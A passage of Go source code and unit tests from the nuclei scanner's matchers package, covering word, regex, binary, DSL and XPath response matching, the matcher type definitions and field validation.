{\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tif !matcher.ignoreErr(err) {\n\t\t\t\tgologger.Warning().Msgf(\"[%s] %s\", data[\"template-id\"], err.Error())\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif boolResult, ok := result.(bool); !ok {\n\t\t\tgologger.Error().Label(\"WRN\").Msgf(\"[%s] The return value of a DSL statement must return a boolean value.\", data[\"template-id\"])\n\t\t\tcontinue\n\t\t} else if !boolResult {\n\t\t\t// If we are in an AND request and a match failed,\n\t\t\t// return false as the AND condition fails on any single mismatch.\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR, return on the first match.\n\t\tif matcher.condition == ORCondition {\n\t\t\treturn true\n\t\t}\n\n\t\t// If we are at the end of the dsl, return with true\n\t\tif len(matcher.dslCompiled)-1 == i {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// MatchXPath matches on a generic map result\nfunc (matcher *Matcher) MatchXPath(corpus string) bool {\n\tif strings.HasPrefix(corpus, \"<?xml\") {\n\t\treturn matcher.MatchXML(corpus)\n\t}\n\treturn matcher.MatchHTML(corpus)\n}\n\n// MatchHTML matches items from HTML using XPath selectors\nfunc (matcher *Matcher) MatchHTML(corpus string) bool {\n\tdoc, err := htmlquery.Parse(strings.NewReader(corpus))\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tmatches := 0\n\n\tfor _, k := range matcher.XPath {\n\t\tnodes, err := htmlquery.QueryAll(doc, k)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Continue if the xpath doesn't return any nodes\n\t\tif len(nodes) == 0 {\n\t\t\t// If we are in an AND request and a match failed,\n\t\t\t// return false as the AND condition fails on any single mismatch.\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR, return on the first match.\n\t\tif matcher.condition == ORCondition && !matcher.MatchAll {\n\t\t\treturn true\n\t\t}\n\n\t\tmatches = matches + len(nodes)\n\t}\n\treturn matches > 0\n}\n\n// MatchXML matches items from XML using XPath selectors\nfunc (matcher *Matcher) MatchXML(corpus string) bool {\n\tdoc, err := xmlquery.Parse(strings.NewReader(corpus))\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tmatches := 0\n\n\tfor _, k := range matcher.XPath {\n\t\tnodes, err := xmlquery.QueryAll(doc, k)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Continue if the xpath doesn't return any nodes\n\t\tif len(nodes) == 0 {\n\t\t\t// If we are in an AND request and a match failed,\n\t\t\t// return false as the AND condition fails on any single mismatch.\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR, return on the first match.\n\t\tif matcher.condition == ORCondition && !matcher.MatchAll {\n\t\t\treturn true\n\t\t}\n\t\tmatches = matches + len(nodes)\n\t}\n\n\treturn matches > 0\n}\n\n// ignoreErr checks if the error is to be ignored or not\n// Reference: https://github.com/projectdiscovery/nuclei/issues/3950\nfunc (m *Matcher) ignoreErr(err error) bool {\n\tif showDSLErr {\n\t\treturn false\n\t}\n\tif stringsutil.ContainsAny(err.Error(), \"No parameter\", \"error parsing argument value\") {\n\t\treturn true\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/operators/matchers/match_test.go",
    "content": "package matchers\n\nimport (\n\t\"testing\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWordANDCondition(t *testing.T) {\n\tm := &Matcher{condition: ANDCondition, Words: []string{\"a\", \"b\"}}\n\n\tisMatched, matched := m.MatchWords(\"a b\", nil)\n\trequire.True(t, isMatched, \"Could not match words with valid AND condition\")\n\trequire.Equal(t, m.Words, matched)\n\n\tisMatched, matched = m.MatchWords(\"b\", nil)\n\trequire.False(t, isMatched, \"Could match words with invalid AND condition\")\n\trequire.Equal(t, []string{}, matched)\n}\n\nfunc TestRegexANDCondition(t *testing.T) {\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: RegexMatcher}, Condition: \"and\", Regex: []string{\"[a-z]{3}\", \"\\\\d{2}\"}}\n\terr := m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched, matched := m.MatchRegex(\"abc abcd 123\")\n\trequire.True(t, isMatched, \"Could not match regex with valid AND condition\")\n\trequire.Equal(t, []string{\"abc\", \"abc\", \"12\"}, matched)\n\n\tisMatched, matched = m.MatchRegex(\"bc 1\")\n\trequire.False(t, isMatched, \"Could match regex with invalid AND condition\")\n\trequire.Equal(t, []string{}, matched)\n}\n\nfunc TestORCondition(t *testing.T) {\n\tm := &Matcher{condition: ORCondition, Words: []string{\"a\", \"b\"}}\n\n\tisMatched, matched := m.MatchWords(\"a b\", nil)\n\trequire.True(t, isMatched, \"Could not match valid word OR condition\")\n\trequire.Equal(t, []string{\"a\"}, matched)\n\n\tisMatched, matched = m.MatchWords(\"b\", nil)\n\trequire.True(t, isMatched, \"Could not match valid word OR condition\")\n\trequire.Equal(t, []string{\"b\"}, matched)\n\n\tisMatched, matched = m.MatchWords(\"c\", nil)\n\trequire.False(t, isMatched, \"Could match invalid word OR condition\")\n\trequire.Equal(t, []string{}, matched)\n}\n\nfunc TestRegexOrCondition(t *testing.T) {\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: RegexMatcher}, Condition: \"or\", Regex: []string{\"[a-z]{3}\", \"\\\\d{2}\"}}\n\terr := m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched, matched := m.MatchRegex(\"ab 123\")\n\trequire.True(t, isMatched, \"Could not match valid regex OR condition\")\n\trequire.Equal(t, []string{\"12\"}, matched)\n\n\tisMatched, matched = m.MatchRegex(\"bc 1\")\n\trequire.False(t, isMatched, \"Could match invalid regex OR condition\")\n\trequire.Equal(t, []string{}, matched)\n}\n\nfunc TestHexEncoding(t *testing.T) {\n\tm := &Matcher{Encoding: \"hex\", Type: MatcherTypeHolder{MatcherType: WordsMatcher}, Part: \"body\", Words: []string{\"50494e47\"}}\n\terr := m.CompileMatchers()\n\trequire.Nil(t, err, \"could not compile matcher\")\n\n\tisMatched, matched := m.MatchWords(\"PING\", nil)\n\trequire.True(t, isMatched, \"Could not match valid Hex condition\")\n\trequire.Equal(t, m.Words, matched)\n}\n\nfunc TestMatcher_MatchDSL(t *testing.T) {\n\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(\"contains(body, \\\"{{VARIABLE}}\\\")\", dsl.HelperFunctions)\n\trequire.Nil(t, err, \"couldn't compile expression\")\n\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: DSLMatcher}, dslCompiled: []*govaluate.EvaluableExpression{compiled}}\n\terr = m.CompileMatchers()\n\trequire.Nil(t, err, \"could not compile matcher\")\n\n\tvalues := []string{\"PING\", \"pong\"}\n\n\tfor _, value := range values {\n\t\tisMatched := m.MatchDSL(map[string]interface{}{\"body\": value, \"VARIABLE\": value})\n\t\trequire.True(t, isMatched)\n\t}\n}\n\nfunc TestMatcher_MatchXPath_HTML(t *testing.T) {\n\tbody := `<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n</head>\n\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href=\"https://www.iana.org/domains/example\">More information...</a></p>\n</div>\n</body>\n</html>\n`\n\tbody2 := `<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n</head>\n<body>\n<h1> It's test time! </h1>\n</body>\n</html>\n`\n\n\t// single match\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{\"/html/body/div/p[2]/a\"}}\n\terr := m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched := m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid XPath\")\n\n\tisMatched = m.MatchXPath(\"<h1>aaaaaaaaa\")\n\trequire.False(t, isMatched, \"Could match invalid XPath\")\n\n\t// OR match\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: \"or\", XPath: []string{\"/html/head/title[contains(text(), 'PATRICAAA')]\", \"/html/body/div/p[2]/a\"}}\n\terr = m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched = m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid multi-XPath with OR condition\")\n\n\tisMatched = m.MatchXPath(body2)\n\trequire.False(t, isMatched, \"Could match invalid multi-XPath with OR condition\")\n\n\t// AND match\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: \"and\", XPath: []string{\"/html/head/title[contains(text(), 'Example Domain')]\", \"/html/body/div/p[2]/a\"}}\n\terr = m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched = m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid multi-XPath with AND condition\")\n\n\tisMatched = m.MatchXPath(body2)\n\trequire.False(t, isMatched, \"Could match invalid multi-XPath with AND condition\")\n\n\t// invalid xpath\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{\"//a[@a==1]\"}}\n\t_ = m.CompileMatchers()\n\tisMatched = m.MatchXPath(body)\n\trequire.False(t, isMatched, \"Invalid xpath did not return false\")\n}\n\nfunc TestMatcher_MatchXPath_XML(t *testing.T) {\n\tbody := `<?xml version=\"1.0\" encoding=\"utf-8\"?><foo>bar</foo><wibble id=\"1\" /><parent><child>baz</child></parent>`\n\tbody2 := `<?xml version=\"1.0\" encoding=\"utf-8\"?><test>bar</test><wibble2 id=\"1\" /><roditelj><dijete>alo</dijete></roditelj>`\n\n\t// single match\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{\"//foo[contains(text(), 'bar')]\"}}\n\terr := m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched := m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid XPath\")\n\n\tisMatched = m.MatchXPath(\"<h1>aaaaaaaaa</h1>\")\n\trequire.False(t, isMatched, \"Could match invalid XPath\")\n\n\t// OR match\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: \"or\", XPath: []string{\"/foo[contains(text(), 'PATRICAAA')]\", \"/parent/child\"}}\n\terr = m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched = m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid multi-XPath with OR condition\")\n\n\tisMatched = m.MatchXPath(body2)\n\trequire.False(t, isMatched, \"Could match invalid multi-XPath with OR condition\")\n\n\t// AND match\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: \"and\", XPath: []string{\"/foo[contains(text(), 'bar')]\", \"/parent/child\"}}\n\terr = m.CompileMatchers()\n\trequire.Nil(t, err)\n\n\tisMatched = m.MatchXPath(body)\n\trequire.True(t, isMatched, \"Could not match valid multi-XPath with AND condition\")\n\n\tisMatched = m.MatchXPath(body2)\n\trequire.False(t, isMatched, \"Could match invalid multi-XPath with AND condition\")\n\n\t// invalid xpath\n\tm = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{\"//a[@a==1]\"}}\n\t_ = m.CompileMatchers()\n\tisMatched = m.MatchXPath(body)\n\trequire.False(t, isMatched, \"Invalid xpath did not return false\")\n\n\t// invalid xml\n\tisMatched = m.MatchXPath(\"<h1> not right <q id=2/>notvalid\")\n\trequire.False(t, isMatched, \"Invalid xpath did not return false\")\n}\n\nfunc TestMatchRegex_CaseInsensitivePrefixSkip(t *testing.T) {\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: RegexMatcher}, Condition: \"or\", Regex: []string{\"(?i)abc\"}}\n\terr := m.CompileMatchers()\n\trequire.NoError(t, err)\n\tok, got := m.MatchRegex(\"zzz AbC yyy\")\n\trequire.True(t, ok)\n\trequire.NotEmpty(t, got)\n}\n\nfunc TestMatchStatusCodeAndSize(t *testing.T) {\n\tmStatus := &Matcher{Status: []int{200, 302}}\n\trequire.True(t, mStatus.MatchStatusCode(200))\n\trequire.True(t, mStatus.MatchStatusCode(302))\n\trequire.False(t, mStatus.MatchStatusCode(404))\n\n\tmSize := &Matcher{Size: []int{5, 10}}\n\trequire.True(t, mSize.MatchSize(5))\n\trequire.False(t, mSize.MatchSize(7))\n}\n\nfunc TestMatchBinary_AND_OR(t *testing.T) {\n\t// AND should fail if any binary not present\n\tmAnd := &Matcher{Type: MatcherTypeHolder{MatcherType: BinaryMatcher}, Condition: \"and\", Binary: []string{\"50494e47\", \"414141\"}} // \"PING\", \"AAA\"\n\trequire.NoError(t, mAnd.CompileMatchers())\n\tok, _ := mAnd.MatchBinary(\"PING\")\n\trequire.False(t, ok)\n\t// OR should succeed if any present\n\tmOr := &Matcher{Type: MatcherTypeHolder{MatcherType: BinaryMatcher}, Condition: \"or\", Binary: []string{\"414141\", \"50494e47\"}} // \"AAA\", \"PING\"\n\trequire.NoError(t, mOr.CompileMatchers())\n\tok, got := mOr.MatchBinary(\"xxPINGyy\")\n\trequire.True(t, ok)\n\trequire.NotEmpty(t, got)\n}\n\nfunc TestMatchRegex_LiteralPrefixShortCircuit(t *testing.T) {\n\t// AND: first regex has literal prefix \"abc\"; corpus lacks it => early false\n\tmAnd := &Matcher{Type: MatcherTypeHolder{MatcherType: RegexMatcher}, Condition: \"and\", Regex: []string{\"abc[0-9]*\", \"[0-9]{2}\"}}\n\trequire.NoError(t, mAnd.CompileMatchers())\n\tok, matches := mAnd.MatchRegex(\"zzz 12 yyy\")\n\trequire.False(t, ok)\n\trequire.Empty(t, matches)\n\n\t// OR: first regex skipped due to missing prefix, second matches => true\n\tmOr := &Matcher{Type: MatcherTypeHolder{MatcherType: RegexMatcher}, Condition: \"or\", Regex: []string{\"abc[0-9]*\", \"[0-9]{2}\"}}\n\trequire.NoError(t, mOr.CompileMatchers())\n\tok, matches = mOr.MatchRegex(\"zzz 12 yyy\")\n\trequire.True(t, ok)\n\trequire.Equal(t, []string{\"12\"}, matches)\n}\n\nfunc TestMatcher_MatchDSL_ErrorHandling(t *testing.T) {\n\t// First expression errors (division by zero), second is true\n\tbad, err := govaluate.NewEvaluableExpression(\"1 / 0\")\n\trequire.NoError(t, err)\n\tgood, err := govaluate.NewEvaluableExpression(\"1 == 1\")\n\trequire.NoError(t, err)\n\n\tm := &Matcher{Type: MatcherTypeHolder{MatcherType: DSLMatcher}, Condition: \"or\", dslCompiled: []*govaluate.EvaluableExpression{bad, good}}\n\trequire.NoError(t, m.CompileMatchers())\n\tok := m.MatchDSL(map[string]interface{}{})\n\trequire.True(t, ok)\n}\n"
  },
  {
    "path": "pkg/operators/matchers/matchers.go",
    "content": "package matchers\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/Knetic/govaluate\"\n)\n\n// Matcher is used to match a part in the output from a protocol.\ntype Matcher struct {\n\t// description: |\n\t//   Type is the type of the matcher.\n\tType MatcherTypeHolder `yaml:\"type\" json:\"type\" jsonschema:\"title=type of matcher,description=Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=binary,enum=dsl\"`\n\t// description: |\n\t//   Condition is the optional condition between two matcher variables. By default,\n\t//   the condition is assumed to be OR.\n\t// values:\n\t//   - \"and\"\n\t//   - \"or\"\n\tCondition string `yaml:\"condition,omitempty\" json:\"condition,omitempty\" jsonschema:\"title=condition between matcher variables,description=Condition between the matcher variables,enum=and,enum=or\"`\n\n\t// description: |\n\t//   Part is the part of the request response to match data from.\n\t//\n\t//   Each protocol exposes a lot of different parts which are well\n\t//   documented in docs for each request type.\n\t// examples:\n\t//   - value: \"\\\"body\\\"\"\n\t//   - value: \"\\\"raw\\\"\"\n\tPart string `yaml:\"part,omitempty\" json:\"part,omitempty\" jsonschema:\"title=part of response to match,description=Part of response to match data from\"`\n\n\t// description: |\n\t//   Negative specifies if the match should be reversed\n\t//   It will only match if the condition is not true.\n\tNegative bool `yaml:\"negative,omitempty\" json:\"negative,omitempty\" jsonschema:\"title=negative specifies if match reversed,description=Negative specifies if the match should be reversed. It will only match if the condition is not true\"`\n\n\t// description: |\n\t//   Name of the matcher. Name should be lowercase and must not contain\n\t//   spaces or underscores (_).\n\t// examples:\n\t//   - value: \"\\\"cookie-matcher\\\"\"\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=name of the matcher,description=Name of the matcher\"`\n\t// description: |\n\t//   Status are the acceptable status codes for the response.\n\t// examples:\n\t//   - value: >\n\t//       []int{200, 302}\n\tStatus []int `yaml:\"status,omitempty\" json:\"status,omitempty\" jsonschema:\"title=status to match,description=Status to match for the response\"`\n\t// description: |\n\t//   Size is the acceptable size for the response\n\t// examples:\n\t//   - value: >\n\t//       []int{3029, 2042}\n\tSize []int `yaml:\"size,omitempty\" json:\"size,omitempty\" jsonschema:\"title=acceptable size for response,description=Size is the acceptable size for the response\"`\n\t// description: |\n\t//   Words contains word patterns required to be present in the response part.\n\t// examples:\n\t//   - name: Match for Outlook mail protection domain\n\t//     value: >\n\t//       []string{\"mail.protection.outlook.com\"}\n\t//   - name: Match for application/json in response headers\n\t//     value: >\n\t//       []string{\"application/json\"}\n\tWords []string `yaml:\"words,omitempty\" json:\"words,omitempty\" jsonschema:\"title=words to match in response,description= Words contains word patterns required to be present in the response part\"`\n\t// description: |\n\t//   Regex contains Regular Expression patterns required to be present in the response part.\n\t// examples:\n\t//   - name: Match for Linkerd Service via Regex\n\t//     value: >\n\t//       []string{`(?mi)^Via\\\\s*?:.*?linkerd.*$`}\n\t//   - name: Match for Open Redirect via Location header\n\t//     value: >\n\t//       []string{`(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)example\\\\.com.*$`}\n\tRegex []string `yaml:\"regex,omitempty\" json:\"regex,omitempty\" jsonschema:\"title=regex to match in response,description=Regex contains regex patterns required to be present in the response part\"`\n\t// description: |\n\t//   Binary are the binary patterns required to be present in the response part.\n\t// examples:\n\t//   - name: Match for Springboot Heapdump Actuator \"JAVA PROFILE\", \"HPROF\", \"Gunzip magic byte\"\n\t//     value: >\n\t//       []string{\"4a4156412050524f46494c45\", \"4850524f46\", \"1f8b080000000000\"}\n\t//   - name: Match for 7zip files\n\t//     value: >\n\t//       []string{\"377ABCAF271C\"}\n\tBinary []string `yaml:\"binary,omitempty\" json:\"binary,omitempty\" jsonschema:\"title=binary patterns to match in response,description=Binary are the binary patterns required to be present in the response part\"`\n\t// description: |\n\t//   DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.\n\t//   A list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).\n\t// examples:\n\t//   - name: DSL Matcher for package.json file\n\t//     value: >\n\t//       []string{\"contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200\"}\n\t//   - name: DSL Matcher for missing strict transport security header\n\t//     value: >\n\t//       []string{\"!contains(tolower(all_headers), ''strict-transport-security'')\"}\n\tDSL []string `yaml:\"dsl,omitempty\" json:\"dsl,omitempty\" jsonschema:\"title=dsl expressions to match in response,description=DSL are the dsl expressions that will be evaluated as part of nuclei matching rules\"`\n\t// description: |\n\t//   XPath are the xpath queries expressions that will be evaluated against the response part.\n\t// examples:\n\t//   - name: XPath Matcher to check a title\n\t//     value: >\n\t//       []string{\"/html/head/title[contains(text(), 'How to Find XPath')]\"}\n\t//   - name: XPath Matcher for finding links with target=\"_blank\"\n\t//     value: >\n\t//       []string{\"//a[@target=\\\"_blank\\\"]\"}\n\tXPath []string `yaml:\"xpath,omitempty\" json:\"xpath,omitempty\" jsonschema:\"title=xpath queries to match in response,description=xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules\"`\n\t// description: |\n\t//   Encoding specifies the encoding for the words field if any.\n\t// values:\n\t//   - \"hex\"\n\tEncoding string `yaml:\"encoding,omitempty\" json:\"encoding,omitempty\" jsonschema:\"title=encoding for word field,description=Optional encoding for the word fields,enum=hex\"`\n\t// description: |\n\t//   CaseInsensitive enables case-insensitive matches. Default is false.\n\t// values:\n\t//   - false\n\t//   - true\n\tCaseInsensitive bool `yaml:\"case-insensitive,omitempty\" json:\"case-insensitive,omitempty\" jsonschema:\"title=use case insensitive match,description=use case insensitive match\"`\n\t// description: |\n\t//   MatchAll enables matching for all matcher values. Default is false.\n\t// values:\n\t//   - false\n\t//   - true\n\tMatchAll bool `yaml:\"match-all,omitempty\" json:\"match-all,omitempty\" jsonschema:\"title=match all values,description=match all matcher values ignoring condition\"`\n\t// description: |\n\t//  Internal when true hides the matcher from output. Default is false.\n\t// It is meant to be used in multiprotocol / flow templates to create internal matcher condition without printing it in output.\n\t// or other similar use cases.\n\t// values:\n\t//   - false\n\t//   - true\n\tInternal bool `yaml:\"internal,omitempty\" json:\"internal,omitempty\" jsonschema:\"title=hide matcher from output,description=hide matcher from output\"`\n\n\t// cached data for the compiled matcher\n\tcondition     ConditionType // todo: this field should be the one used for overridden marshal ops\n\tmatcherType   MatcherType\n\tbinaryDecoded []string\n\tregexCompiled []*regexp.Regexp\n\tdslCompiled   []*govaluate.EvaluableExpression\n}\n\n// ConditionType is the type of condition for matcher\ntype ConditionType int\n\nconst (\n\t// ANDCondition matches responses with AND condition in arguments.\n\tANDCondition ConditionType = iota + 1\n\t// ORCondition matches responses with AND condition in arguments.\n\tORCondition\n)\n\n// ConditionTypes is a table for conversion of condition type from string.\nvar ConditionTypes = map[string]ConditionType{\n\t\"and\": ANDCondition,\n\t\"or\":  ORCondition,\n}\n\n// Result reverts the results of the match if the matcher is of type negative.\nfunc (matcher *Matcher) Result(data bool) bool {\n\tif matcher.Negative {\n\t\treturn !data\n\t}\n\treturn data\n}\n\n// ResultWithMatchedSnippet returns true and the matched snippet, or false and an empty string\nfunc (matcher *Matcher) ResultWithMatchedSnippet(data bool, matchedSnippet []string) (bool, []string) {\n\tif matcher.Negative {\n\t\treturn !data, []string{}\n\t}\n\treturn data, matchedSnippet\n}\n"
  },
  {
    "path": "pkg/operators/matchers/matchers_types.go",
    "content": "package matchers\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// MatcherType is the type of the matcher specified\ntype MatcherType int\n\n// name:MatcherType\nconst (\n\t// name:word\n\tWordsMatcher MatcherType = iota + 1\n\t// name:regex\n\tRegexMatcher\n\t// name:binary\n\tBinaryMatcher\n\t// name:status\n\tStatusMatcher\n\t// name:size\n\tSizeMatcher\n\t// name:dsl\n\tDSLMatcher\n\t// name:xpath\n\tXPathMatcher\n\tlimit\n)\n\n// MatcherTypes is a table for conversion of matcher type from string.\nvar MatcherTypes = map[MatcherType]string{\n\tStatusMatcher: \"status\",\n\tSizeMatcher:   \"size\",\n\tWordsMatcher:  \"word\",\n\tRegexMatcher:  \"regex\",\n\tBinaryMatcher: \"binary\",\n\tDSLMatcher:    \"dsl\",\n\tXPathMatcher:  \"xpath\",\n}\n\n// GetType returns the type of the matcher\nfunc (matcher *Matcher) GetType() MatcherType {\n\treturn matcher.Type.MatcherType\n}\n\n// GetSupportedMatcherTypes returns list of supported types\nfunc GetSupportedMatcherTypes() []MatcherType {\n\tvar result []MatcherType\n\tfor index := MatcherType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toMatcherTypes(valueToMap string) (MatcherType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range MatcherTypes {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid matcher type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t MatcherType) String() string {\n\treturn MatcherTypes[t]\n}\n\n// MatcherTypeHolder is used to hold internal type of the matcher\ntype MatcherTypeHolder struct {\n\tMatcherType MatcherType `mapping:\"true\"`\n}\n\nfunc (t MatcherTypeHolder) String() string {\n\treturn t.MatcherType.String()\n}\n\nfunc (holder MatcherTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of the matcher\",\n\t\tDescription: \"Type of the matcher\",\n\t}\n\tfor _, types := range GetSupportedMatcherTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *MatcherTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toMatcherTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.MatcherType = computedType\n\treturn nil\n}\n\nfunc (holder *MatcherTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toMatcherTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.MatcherType = computedType\n\treturn nil\n}\n\nfunc (holder MatcherTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.MatcherType.String())\n}\n\nfunc (holder MatcherTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.MatcherType.String(), nil\n}\n"
  },
  {
    "path": "pkg/operators/matchers/validate.go",
    "content": "package matchers\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n\n\t\"github.com/antchfx/xpath\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\nvar commonExpectedFields = []string{\"Type\", \"Condition\", \"Name\", \"MatchAll\", \"Negative\", \"Internal\"}\n\n// Validate perform initial validation on the matcher structure\nfunc (matcher *Matcher) Validate() error {\n\t// Build a map of YAML‐tag names that are actually set (non-zero) in the matcher.\n\tmatcherMap := make(map[string]interface{})\n\tval := reflect.ValueOf(*matcher)\n\ttyp := reflect.TypeOf(*matcher)\n\tfor i := 0; i < typ.NumField(); i++ {\n\t\tfield := typ.Field(i)\n\t\t// skip internal / unexported or opt-out fields\n\t\tyamlTag := strings.Split(field.Tag.Get(\"yaml\"), \",\")[0]\n\t\tif yamlTag == \"\" || yamlTag == \"-\" {\n\t\t\tcontinue\n\t\t}\n\t\tif val.Field(i).IsZero() {\n\t\t\tcontinue\n\t\t}\n\t\tmatcherMap[yamlTag] = struct{}{}\n\t}\n\tvar err error\n\n\tvar expectedFields []string\n\tswitch matcher.matcherType {\n\tcase DSLMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"DSL\")\n\tcase StatusMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"Status\", \"Part\")\n\tcase SizeMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"Size\", \"Part\")\n\tcase WordsMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"Words\", \"Part\", \"Encoding\", \"CaseInsensitive\")\n\tcase BinaryMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"Binary\", \"Part\", \"Encoding\", \"CaseInsensitive\")\n\tcase RegexMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"Regex\", \"Part\", \"Encoding\", \"CaseInsensitive\")\n\tcase XPathMatcher:\n\t\texpectedFields = append(commonExpectedFields, \"XPath\", \"Part\")\n\t}\n\n\tif err = checkFields(matcher, matcherMap, expectedFields...); err != nil {\n\t\treturn err\n\t}\n\n\t// validate the XPath query\n\tif matcher.matcherType == XPathMatcher {\n\t\tfor _, query := range matcher.XPath {\n\t\t\tif _, err = xpath.Compile(query); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc checkFields(m *Matcher, matcherMap map[string]interface{}, expectedFields ...string) error {\n\tvar foundUnexpectedFields []string\n\tfor marshaledFieldName := range matcherMap {\n\t\t// revert back the marshaled name to the original field\n\t\tstructFieldName, err := getFieldNameFromYamlTag(marshaledFieldName, *m)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !sliceutil.Contains(expectedFields, structFieldName) {\n\t\t\tfoundUnexpectedFields = append(foundUnexpectedFields, structFieldName)\n\t\t}\n\t}\n\tif len(foundUnexpectedFields) > 0 {\n\t\treturn fmt.Errorf(\"matcher %s has unexpected fields: %s\", m.matcherType, strings.Join(foundUnexpectedFields, \",\"))\n\t}\n\treturn nil\n}\n\nfunc getFieldNameFromYamlTag(tagName string, object interface{}) (string, error) {\n\treflectType := reflect.TypeOf(object)\n\tif reflectType.Kind() != reflect.Struct {\n\t\treturn \"\", errors.New(\"the object must be a struct\")\n\t}\n\tfor idx := 0; idx < reflectType.NumField(); idx++ {\n\t\tfield := reflectType.Field(idx)\n\t\ttagParts := strings.Split(field.Tag.Get(\"yaml\"), \",\")\n\t\tif 